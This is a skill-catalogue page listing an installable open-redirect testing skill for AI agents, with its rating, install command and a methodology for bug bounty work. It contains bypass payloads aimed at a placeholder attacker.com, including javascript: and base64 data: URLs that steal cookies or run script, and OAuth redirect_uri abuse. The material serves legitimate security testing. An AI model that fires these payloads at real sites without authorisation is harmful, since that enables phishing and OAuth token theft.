SkillAgentSearch skills...

offensive-open-redirect

Open redirect vulnerability checklist: parameter identification, bypass techniques (URL encoding, double slashes, CRLF injection, protocol handlers), chaining with OAuth/SSRF, and impact escalation paths. Use for web app testing and bug bounty open redirect discovery.

Install / Use

npx skills add SnailSploit/Claude-Red --skill offensive-open-redirect

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

96/100

Category

Security

Supported Platforms

Universal

Our assessment of offensive-open-redirect

offensive-open-redirect scores 96/100 on our quality scale, 134th of 653 Security skills we index (top 21%).

Its SKILL.md is 16 KB long, well organised into 42 sections with 10 code examples: a thorough specification that gives an agent plenty to work with.

With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
16/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 6 days ago, so offensive-open-redirect is actively maintained.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.

Automated pattern scan on 2026-09-26. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

offensive-open-redirect compared with similar skills

All 4 of these similar skills score higher than offensive-open-redirect; compare them before choosing.

SkillScoreStarsUpdatedFormat
offensive-open-redirect (this skill)by SnailSploit966.8k6d agoSKILL.md
Agent-Reachby Panniantong10085.5k11d agoCLAUDE.md
algorithmic-artby anthropics100177.9k4d agoSKILL.md
pptxby anthropics100177.9k4d agoSKILL.md
designby nextlevelbuilder100130.2k5d agoSKILL.md

Frequently asked questions

How do I install offensive-open-redirect?
Run npx skills add SnailSploit/Claude-Red --skill offensive-open-redirect. The install tabs above show the steps for each supported agent.
Which AI agents does offensive-open-redirect work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is offensive-open-redirect safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is offensive-open-redirect still maintained?
The repository was last updated 6 days ago, so offensive-open-redirect is actively maintained.

SKILL: Open Redirect Vulnerabilities

Metadata

  • Skill Name: open-redirect
  • Folder: offensive-open-redirect
  • Source: https://github.com/SnailSploit/offensive-checklist/blob/main/open-redirect.md

Description

Open redirect vulnerability checklist: parameter identification, bypass techniques (URL encoding, double slashes, CRLF injection, protocol handlers), chaining with OAuth/SSRF, and impact escalation paths. Use for web app testing and bug bounty open redirect discovery.

Trigger Phrases

Use this skill when the conversation involves any of: open redirect, URL redirect, redirect bypass, URL encoding bypass, CRLF, protocol handler, redirect chain, OAuth redirect, SSRF chain, open redirection

Instructions for Claude

When this skill is active:

  1. Load and apply the full methodology below as your operational checklist
  2. Follow steps in order unless the user specifies otherwise
  3. For each technique, consider applicability to the current target/context
  4. Track which checklist items have been completed
  5. Suggest next steps based on findings

Full Methodology

Open Redirect Vulnerabilities

Shortcut

  • Search for redirect URL parameters. These might be vulnerable to parameter based open redirect.
  • Search for pages that perform referer based redirect. These are candidates for a referer based open redirect.
  • Test the pages and parameters you've found for open redirect.
  • If the server blocks the open redirect, try the protection bypass techniques mentioned before.
  • Brainstorm ways of using the open redirect in your other bug chains.

Mechanisms

Open redirect vulnerabilities occur when web applications improperly validate user-supplied URLs used for redirections. These vulnerabilities allow attackers to craft links that appear legitimate but redirect victims to malicious websites. When exploited, the victim initially connects to a trusted domain, giving the malicious link an appearance of legitimacy, before being redirected to an attacker-controlled destination.

sequenceDiagram
    participant Victim
    participant TrustedSite
    participant AttackerSite

    Victim->>TrustedSite: Click malicious link<br/>trusted.com/redirect?url=evil.com
    Note over TrustedSite: Inadequate URL validation
    TrustedSite->>Victim: HTTP 302 Redirect to evil.com
    Victim->>AttackerSite: Automatic redirect
    AttackerSite->>Victim: Malicious content

The core technical flaws leading to open redirects include:

  • Insufficient URL Validation: Failure to properly validate redirect targets
  • Improper Allowlist Implementation: Flawed validation logic that can be bypassed
  • Inadequate Sanitization: Incorrect handling of special characters or encoding
  • Trusting Client-Side Input: Using user-supplied parameters for redirection without verification

Notes

  • Browsers restrict javascript: navigations from cross-origin contexts more, but many apps forward redirects to clients; validate server-side before emitting 3xx.
  • OAuth/SSO stacks increasingly require exact redirect_uri match; test for partial/path-only allowlists and case/encoding mismatches.
  • Mobile deep links: open redirects can escalate to app link hijack; test intent: URLs on Android and iOS universal link fallbacks.

Modern Browser Behaviors

  • Chrome 120+ Restrictions: Enhanced protection against cross-site redirects; test if app relies on specific redirect chains
  • SameSite Cookie Implications: SameSite=Lax default affects redirect flows; test authentication state preservation
  • Referrer-Policy Impact: no-referrer or strict-origin may break redirect detection; test logging/analytics dependencies
  • COOP/COEP Headers: Cross-Origin-Opener-Policy can break popup-based OAuth flows
  • Fenced Frames: New iframe replacement affects redirect chains in isolated contexts

Open redirects can exist in various implementation patterns:

  • URL Parameter Redirects: Explicit redirect parameters (e.g., ?redirect=, ?url=, ?next=)
  • Path-Based Redirects: URL paths that trigger redirects (e.g., /redirect/https://example.com)
  • Referer-Based Redirects: Redirects based on the HTTP Referer header
  • Post-Authentication Redirects: Return URLs after login or authentication flows
  • URL Shorteners: Services that redirect to expanded URLs
  • Framework Redirector Endpoints: Dedicated redirection functionality in web frameworks

Hunt

Identifying Open Redirect Vulnerabilities

Target Discovery

  1. Identify Redirection Parameters:

    • Common redirect parameter names:
      redirect, redirect_to, url, link, goto, return, returnTo, destination,
      next, checkout, checkout_url, continue, return_path, return_url,
      forward, path, redir, redirect_uri, view, img_url, image_url, load_url
      
  2. Find Redirection Endpoints:

    • Social login integrations
    • Authentication flows
    • Payment gateways
    • "Share" functionality
    • URL shorteners
    • SSO implementations
    • File/resource access endpoints
  3. Search Code and Documentation:

    • Review JavaScript for redirect functions
    • Check for framework-specific redirect endpoints
    • Analyze HTTP 3xx response patterns

Testing Methodologies

  1. Basic Open Redirect Testing:

    • Test with absolute URLs:
      https://target.com/redirect?url=https://attacker.com
      https://target.com/redirect?next=https://attacker.com
      
    • Test with protocol-relative URLs:
      https://target.com/redirect?url=//attacker.com
      
    • Test with relative path traversal:
      https://target.com/redirect?url=/../redirect?url=https://attacker.com
      
  2. Referer-Based Open Redirect Testing:

    • Identify pages that redirect based on Referer header
    • Modify Referer header to external domains
    • Test login/logout pages with custom Referer values
  3. OAuth Redirect Testing:

    • Identify OAuth implementation redirect_uri parameters
    • Test for improper validation:
      https://target.com/oauth/authorize?client_id=CLIENT_ID&redirect_uri=https://attacker.com
      

Bypass Techniques

graph TD
    subgraph "Open Redirect Bypass Techniques"
    A[Validation Bypasses] --> B[Domain Spoofing]
    A --> C[Encoding Bypasses]
    A --> D[Protocol Confusion]
    A --> E[Path-Based Bypasses]
    A --> F[Special Character Abuse]

    B --> B1["target.com.attacker.com"]
    B --> B2["attacker.com?target.com"]

    C --> C1["URL Encoding: %68%74%74%70%73..."]
    C --> C2["Double Encoding"]

    D --> D1["javascript:alert(1)"]
    D --> D2["data:text/html;base64,..."]

    E --> E1["////attacker.com"]
    E --> E2["/\/attacker.com"]

    F --> F1["target.com@attacker.com"]
    F --> F2["attacker.com#target.com"]
    end

Domain Spoofing Techniques

https://target.com/redirect?url=https://target.com.attacker.com
https://target.com/redirect?url=https://attacker.com?target.com
https://target.com/redirect?url=https://attackertarget.com

CDN/Reverse Proxy Quirks

  • Mixed scheme parsing (https;/) accepted upstream but normalized downstream.
  • Double decode at different layers (edge vs. origin) enabling %252F style bypass.
  • Header-driven redirects (X-Original-URL, X-Forwarded-Proto) abused through misconfigured proxies.

Encoding Bypass Techniques

https://target.com/redirect?url=https%3A%2F%2Fattacker.com
https://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%61%74%74%61%63%6b%65%72%2e%63%6f%6d

Protocol Confusion Bypasses

https://target.com/redirect?url=javascript:alert(document.domain)
https://target.com/redirect?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
https://target.com/redirect?url=https;/attacker.com

Path-Based Bypasses

https://target.com/redirect?url=/\/attacker.com
https://target.com/redirect?url=////attacker.com
https://target.com/redirect?url=\/\/attacker.com/

Special Character Abuse

https://target.com/redirect?url=https://target.com@attacker.com
https://target.com/redirect?url=https://attacker.com#target.com
https://target.com/redirect?url=https://attacker.com\@target.com

Vulnerabilities

Common Open Redirect Vulnerability Patterns

Implementation-Specific Vulnerabilities

  1. Framework Redirector Vulnerabilities:

    • Spring MVC: Improper handling of the url parameter
      /spring/login?url=https://attacker.com
      
    • Laravel: Unvalidated redirect in redirect() helper
      /redirect?url=https://attacker.com
      
    • Express.js: Unvalidated res.redirect() calls
      /login?redirect=https://attacker.com
      
    • Next.js (App Router): Server Actions redirect abuse
      // Test Server Action redirect injection
      /api/action?redirect=https://attacker.com
      
    • SvelteKit: goto() and redirect() manipulation
      // Test in hooks.server.ts
      /auth/callback?redirectTo=https://attacker.com
      
    • Remix: loader/action redirect injection
      /login?redirectTo=https://attacker.com
      
    • Astro: redirect() in API routes
      /api/redirect?url=https://attacker.com
      
  2. OAuth Implementation Vulnerabilities:

    • Implicit Flow Redirect: Missing validation in redirect_uri
      /oauth/authorize?response_type=token&redirect_uri=https://attacker.com
      
    • Authorization Code Flow: Improper state parameter handling
      /oauth/callback?code=ABC123&state=https://attacker.com
      
  3. Social Login Vulnerabilities:

    • Facebook Login: Unvalidated return_url parameter
      /login/facebook/callback?return_url=https://attacker.com
      
    • Google OAuth: Improper redirect_uri validation
      /auth/google/callback?redirect_uri=https://attacker.com
      

Impact Scenarios

graph LR
    subgraph "Open Redirect Impact Scenarios"
    A[Open Redirect] --> B[Phishing Attacks]
    A --> C[CSRF Augmentation]
    A --> D[Advanced Attack Chains]

    B --> B1[Domain Credibility Abuse]
    B --> B2[Context-Aware Phishing]

    C --> C1[Redirect Chaining]
    C --> C2[Login CSRF]

    D --> D1[XSS via Redirect]
    D --> D2[SSRF via Redirect]
    D --> D3[OAuth Token Theft]
    end

Phishing Attack Vectors

  • Domain Credibility Abuse: Leveraging trusted domain for phishing
  • Session Fixation Enhancement: Combining with session fixation attacks
  • Context-Aware Phishing: Using information from the original site

CSRF Augmentation

  • Redirect Chaining: Creating multi-step attack chains
  • Login CSRF: Forcing login to attacker-controlled accounts

Advanced Attack Chains

  • XSS via Open Redirect: Using JavaScript URIs for XSS
    https://target.com/redirect?url=javascript:alert(document.cookie)
    
  • SSRF via Open Redirect: Internal service access
    https://target.com/redirect?url=http://internal-service/admin
    
  • OAuth Token Theft: Stealing OAuth tokens via redirect_uri manipulation

Methodologies

Tools

Open Redirect Detection Tools

  • OWASP ZAP: Open redirect scanner
  • Burp Suite: Collaborator for testing blind redirects
  • OpenRedireX: Specialized open redirect testing tool
  • Gxss: Tool to check for redirect XSS
  • Waybackurls: For discovering historical redirect endpoints
  • Param Spider: For discovering URL parameters

Custom Detection Scripts

import requests
from urllib.parse import urlparse

def test_open_redirect(target_url, redirect_param, payloads):
    for payload in payloads:
        test_url = f"{target_url}{redirect_param}={payload}"
        try:
            # Disable redirects to manually check
            response = requests.get(test_url, allow_redirects=False, timeout=10)
            if response.status_code in [301,

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars6.8k
CategorySecurity
Updated6d ago
Forks896

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions